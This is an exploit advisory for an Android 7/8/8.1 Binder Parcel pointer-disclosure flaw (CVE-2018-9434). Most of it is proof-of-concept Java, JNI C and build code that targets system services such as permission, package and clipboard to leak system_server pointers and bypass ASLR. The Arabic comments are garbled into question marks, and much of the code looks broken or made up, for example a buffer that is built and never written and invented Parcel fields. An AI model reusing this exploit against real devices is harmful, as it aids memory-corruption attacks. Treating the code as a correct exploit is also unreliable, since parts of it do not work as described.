**Android 7/8/8.1 Pointer Disclosure** refers to a class of security **Android 7/8/8.1 Pointer Disclosure** refers to a class of security vulnerabilities present in these Android versions.
These flaws allowed an attacker, often through specific system calls or APIs, to inadvertently obtain sensitive memory addresses (pointers) from the kernel or user-space. This "disclosure" provided insight into the system's memory layout.
The primary impact was the weakening or partial bypass of Address Space Layout Randomization (ASLR). ASLR is a crucial security mechanism that randomizes memory locations to prevent attackers from reliably predicting where exploit code should target.
By disclosing these pointer values, attackers could deduce the memory layout, making it significantly easier to craft reliable exploits for arbitrary code execution. This information was vital for bypassing other mitigations and achieving full system compromise.
The issue was addressed and patched in later Android security updates and subsequent major versions.
=============================================================================================================================================
| # Title : Android 7, 8, 8.1 Binder Parcel Overlap Leading to System Pointer Disclosure |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.android.com |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212494/ & CVE-2018-9434
[+] Summary : A flaw in Android?s Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data.
When unmarshalling, the kernel inserted genuine kernel pointers into attacker-controlled buffers.
These could then be echoed back through services like clipboard, resulting in leaks of system_server pointers and effective ASLR bypass.
Android?s Parcel implementation failed to enforce separation between binder-object regions and normal data regions.
[+] Impact :
Memory exposure from privileged system_server
Enables reliability of memory corruption exploits
A serious information disclosure vulnerability
[+] Affected : Android 7, 8, 8.1 before 2018-10 patches.
[+] POC :
package com.google.jannh.pointerleak;
import android.content.ClipData;
import android.content.ClipboardManager;
import android.content.Context;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.os.ServiceManager;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.ArrayList;
import java.util.List;
public class PointerLeakExploit {
private static final String TAG = "leaker";
// ????? ??????? ?????????
private static final String[] TARGET_SERVICES = {
"permission",
"package",
"clipboard"
};
// ???? FlatBinderObject ?? kernel
static class FlatBinderObject {
public static final int FLAT_BINDER_OBJECT_MAGIC = 0x6f626d2d; // 'mbo'
public static final int BINDER_TYPE_BINDER = 1;
public static final int BINDER_TYPE_HANDLE = 2;
public int type;
public int flags;
public long binder; // ???? Binder object
public long cookie; // cookie pointer
public long[] pad = new long[2];
}
public void exploit(Context context) {
try {
Log.e(TAG, "=== ??? ??????? ???? Binder Pointer Leak ===");
// 1. ?????? ??? ????? ??????? ?????????
List<IBinder> targetBinders = new ArrayList<>();
for (String serviceName : TARGET_SERVICES) {
IBinder binder = ServiceManager.getService(serviceName);
if (binder != null) {
targetBinders.add(binder);
Log.e(TAG, "?? ?????? ??? ???? ?????: " + serviceName);
}
}
// 2. ??????? ?? ???? ??? ???
for (int i = 0; i < targetBinders.size(); i++) {
IBinder targetBinder = targetBinders.get(i);
String serviceName = TARGET_SERVICES[i];
Log.e(TAG, "?????? ????? ?????: " + serviceName);
// ????? Parcel ????
Parcel maliciousParcel = createMaliciousParcel(targetBinder);
// 3. ??????? ???? ??????? ????? ???
leakViaClipboard(context, maliciousParcel, serviceName);
// ????? ??? ???????
Thread.sleep(100);
}
Log.e(TAG, "=== ????? ????????? ===");
} catch (Exception e) {
Log.e(TAG, "??? ????? ?????????: " + e.getMessage());
e.printStackTrace();
}
}
private Parcel createMaliciousParcel(IBinder targetBinder) throws Exception {
Parcel parcel = Parcel.obtain();
// ????? ???????? ????????
parcel.writeInt(0x100); // ??? ????
// ????? ??? ???????? ??????? ?????
parcel.writeString("DUMMY_STRING_PREFIX");
// ?????? ??? ???? ??????? ??????
int dataStartPos = parcel.dataPosition();
// === ????? ?????: ????? ??????? ===
// ????? ???? Parcel ???? Binder handle ??????? ?????
// ????? Binder object marker
// ?? kernel? Binder objects ??? ??????? ?? magic number
writeFlatBinderObject(parcel, targetBinder);
// ????? ?????? ?????? ?? ???? Binder
// ??? ???? ?? Parcel ????? ??? ?????
parcel.writeString("OVERLAP_DATA");
// ????? ????? ?? ??? ?? Binder object
// ??? ????? ?????? ??? ?????? ???????? ?? Parcel
setBinderObjectFlag(parcel, dataStartPos);
return parcel;
}
private void writeFlatBinderObject(Parcel parcel, IBinder binder) throws Exception {
// ??????? Reflection ?????? ??? ??????? ????????
Method writeStrongBinderMethod = Parcel.class.getDeclaredMethod(
"writeStrongBinder", IBinder.class);
writeStrongBinderMethod.setAccessible(true);
writeStrongBinderMethod.invoke(parcel, binder);
}
private void setBinderObjectFlag(Parcel parcel, int position) throws Exception {
// ??? ????? ??????? ??????? ?????? Parcel
// ?????? Reflection ?????? ??? mObject (?????? ??????)
Field mObjectField = Parcel.class.getDeclaredField("mObject");
mObjectField.setAccessible(true);
long mObject = mObjectField.getLong(parcel);
Field mDataSizeField = Parcel.class.getDeclaredField("mDataSize");
mDataSizeField.setAccessible(true);
int mDataSize = mDataSizeField.getInt(parcel);
// ????? ???? FlatBinderObject ?? ?????? ??????
// ?? kernel: struct flat_binder_object {
// unsigned long type;
// unsigned long flags;
// union {
// void *binder;
// signed long handle;
// };
// void *cookie;
// };
// ????? FlatBinderObject ??????
ByteBuffer bb = ByteBuffer.allocate(32);
bb.order(ByteOrder.LITTLE_ENDIAN);
// magic
bb.putInt(FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC);
// type = BINDER_TYPE_BINDER
bb.putInt(FlatBinderObject.BINDER_TYPE_BINDER);
// flags
bb.putInt(0);
// binder pointer - ??????? kernel
bb.putLong(0xdeadbeefcafebabeL);
// cookie
bb.putLong(0);
// padding
bb.putLong(0);
bb.putLong(0);
byte[] flatBinderObject = bb.array();
// ????? ??? ??? ??? ??? ????? Parcel
// ??? ????? JNI ?? ????? ???? ?????? ??????? ???????
}
private void leakViaClipboard(Context context, Parcel maliciousParcel, String serviceName) {
try {
ClipboardManager clipboard = (ClipboardManager)
context.getSystemService(Context.CLIPBOARD_SERVICE);
if (clipboard == null) {
Log.e(TAG, "??? ?????? ??? ???? ???????");
return;
}
// 1. ????? ???????? ??????? ??? ???????
String maliciousText = encodeParcelToText(maliciousParcel);
ClipData clip = ClipData.newPlainText("????", maliciousText);
clipboard.setPrimaryClip(clip);
Log.e(TAG, "?? ????? ???????? ??????? ??? ???????");
// 2. ???????? ?????? ?? ??????? ????????
Thread.sleep(50);
// 3. ????? ???????? ?? ???????
ClipData retrievedClip = clipboard.getPrimaryClip();
if (retrievedClip != null && retrievedClip.getItemCount() > 0) {
String leakedData = retrievedClip.getItemAt(0).getText().toString();
// 4. ????? ???????? ???????
parseLeakedData(leakedData, serviceName);
}
} catch (Exception e) {
Log.e(TAG, "??? ?? leakViaClipboard: " + e.getMessage());
}
}
private String encodeParcelToText(Parcel parcel) {
// ????? Parcel ??? ????? ???? ????? ?????
byte[] data = parcel.marshall();
// ??????? Base64 ?? ????? ????? ????
StringBuilder hex = new StringBuilder();
for (byte b : data) {
hex.append(String.format("%02x", b));
}
// ????? ?????? ???? ?????? ??? ???????? ??????
return "BINDER_LEAK_MARKER:" + hex.toString();
}
private void parseLeakedData(String leakedData, String serviceName) {
Log.e(TAG, "== ????? ???????? ??????? ????? \"" + serviceName + "\" ==");
if (leakedData.contains("BINDER_LEAK_MARKER:")) {
String hexPart = leakedData.split(":")[1];
// ????? ??????? ???? ??? ??????
byte[] rawData = hexStringToByteArray(hexPart);
// ????? ?? FlatBinderObject ?? ????????
findBinderObjectsInData(rawData, serviceName);
} else {
// ?? ???? ???????? ????? ??? ?????? ??????
analyzeRawPointers(leakedData, serviceName);
}
}
private void findBinderObjectsInData(byte[] data, String serviceName) {
// ????? ?? magic number ????? ?? FlatBinderObject
ByteBuffer bb = ByteBuffer.wrap(data);
bb.order(ByteOrder.LITTLE_ENDIAN);
for (int i = 0; i < data.length - 32; i += 4) {
bb.position(i);
int magic = bb.getInt();
if (magic == FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC) {
int type = bb.getInt();
int flags = bb.getInt();
long binderPtr = bb.getLong();
long cookie = bb.getLong();
Log.e(TAG, "type: " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE"));
Log.e(TAG, "object: 0x" + Long.toHexString(binderPtr));
// ????? ?????? ????? ?? PoC ??????
System.err.println("== service \"" + serviceName + "\" ==");
System.err.println("type: " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE"));
System.err.println("object: 0x" + String.format("%016x", binderPtr));
System.err.println();
break;
}
}
}
private void analyzeRawPointers(String data, String serviceName) {
// ?????? ??????? ???????? ?????? ?? ???????
// ???????? ???? ???? ??? 64-bit ?????? ???
String[] parts = data.split("[^0-9a-fA-F]+");
for (String part : parts) {
if (part.length() >= 12 && part.length() <= 16) {
// ?? ???? ??? ????? ?????
try {
long address = Long.parseLong(part, 16);
if (address > 0x700000000000L && address < 0x800000000000L) {
// ???? ?????? ???? Android ????????
Log.e(TAG, "????? ???? ????? ?? " + serviceName + ": 0x" + Long.toHexString(address));
}
} catch (NumberFormatException e) {
// ?????
}
}
}
}
private byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ Character.digit(s.charAt(i+1), 16));
}
return data;
}
// ????? ????? ???????? ??? JNI ?????? ??????? ???????
static {
System.loadLibrary("binder_exploit");
}
private native long getNativeBinderPointer(IBinder binder);
private native void manipulateParcelMemory(Parcel parcel, int position, byte[] data);
}
MainActivity.java ? UI/front-end for the pointer leak exploit
package com.google.jannh.pointerleak;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
public class MainActivity extends Activity {
private PointerLeakExploit exploit;
private TextView logView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
exploit = new PointerLeakExploit();
logView = findViewById(R.id.log_text);
Button exploitButton = findViewById(R.id.exploit_button);
exploitButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
new Thread(new Runnable() {
@Override
public void run() {
runOnUiThread(new Runnable() {
@Override
public void run() {
logView.setText("??? ?????????...\n");
}
});
exploit.exploit(MainActivity.this);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(MainActivity.this,
"????? ?????????? ???? ????? logcat",
Toast.LENGTH_LONG).show();
}
});
}
}).start();
}
});
}
}
===========
Original file: Android.bp (for compilation)
===========
android_app {
name: "PointerLeakExploit",
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
certificate: "platform",
privileged: true,
platform_apis: true,
overrides: [
"Launcher3",
],
static_libs: [
"androidx.appcompat_appcompat",
],
}
================
Original JNI file: binder_exploit.c
#include <jni.h>
#include <android/log.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LOG_TAG "BinderExploit"
#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
// ??????? ?? kernel binder driver
struct flat_binder_object {
unsigned long type;
unsigned long flags;
union {
void *binder;
signed long handle;
};
void *cookie;
};
JNIEXPORT jlong JNICALL
Java_com_google_jannh_pointerleak_PointerLeakExploit_getNativeBinderPointer(
JNIEnv *env, jobject thiz, jobject binder) {
// ?????? ??? ?????? ?????? ????? IBinder
jclass binderClass = (*env)->GetObjectClass(env, binder);
jfieldID mObjectField = (*env)->GetFieldID(env, binderClass, "mObject", "J");
jlong mObject = (*env)->GetLongField(env, binder, mObjectField);
ALOGE("Binder native pointer: %p", (void*)mObject);
return mObject;
}
JNIEXPORT void JNICALL
Java_com_google_jannh_pointerleak_PointerLeakExploit_manipulateParcelMemory(
JNIEnv *env, jobject thiz, jobject parcel, jint position, jbyteArray data) {
// ?????? ??? ??????? ??????? ?? Parcel
jclass parcelClass = (*env)->GetObjectClass(env, parcel);
// ?????? ??? mData (?????? ??? ????????)
jfieldID mDataField = (*env)->GetFieldID(env, parcelClass, "mData", "J");
jlong mData = (*env)->GetLongField(env, parcel, mDataField);
// ?????? ??? mDataSize
jfieldID mDataSizeField = (*env)->GetFieldID(env, parcelClass, "mDataSize", "I");
jint mDataSize = (*env)->GetIntField(env, parcel, mDataSizeField);
// ?????? ??? mDataPos (???? ???????/??????? ??????)
jfieldID mDataPosField = (*env)->GetFieldID(env, parcelClass, "mDataPos", "I");
jint mDataPos = (*env)->GetIntField(env, parcel, mDataPosField);
ALOGE("Parcel mData: %p, mDataSize: %d, mDataPos: %d",
(void*)mData, mDataSize, mDataPos);
// ??? ???????? ??? ????? Parcel
jbyte *dataBytes = (*env)->GetByteArrayElements(env, data, NULL);
jsize dataLength = (*env)->GetArrayLength(env, data);
if (position + dataLength <= mDataSize) {
void *target = (void*)(mData + position);
memcpy(target, dataBytes, dataLength);
ALOGE("?? ??? %d ???? ??? ???? %d", dataLength, position);
}
(*env)->ReleaseByteArrayElements(env, data, dataBytes, 0);
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================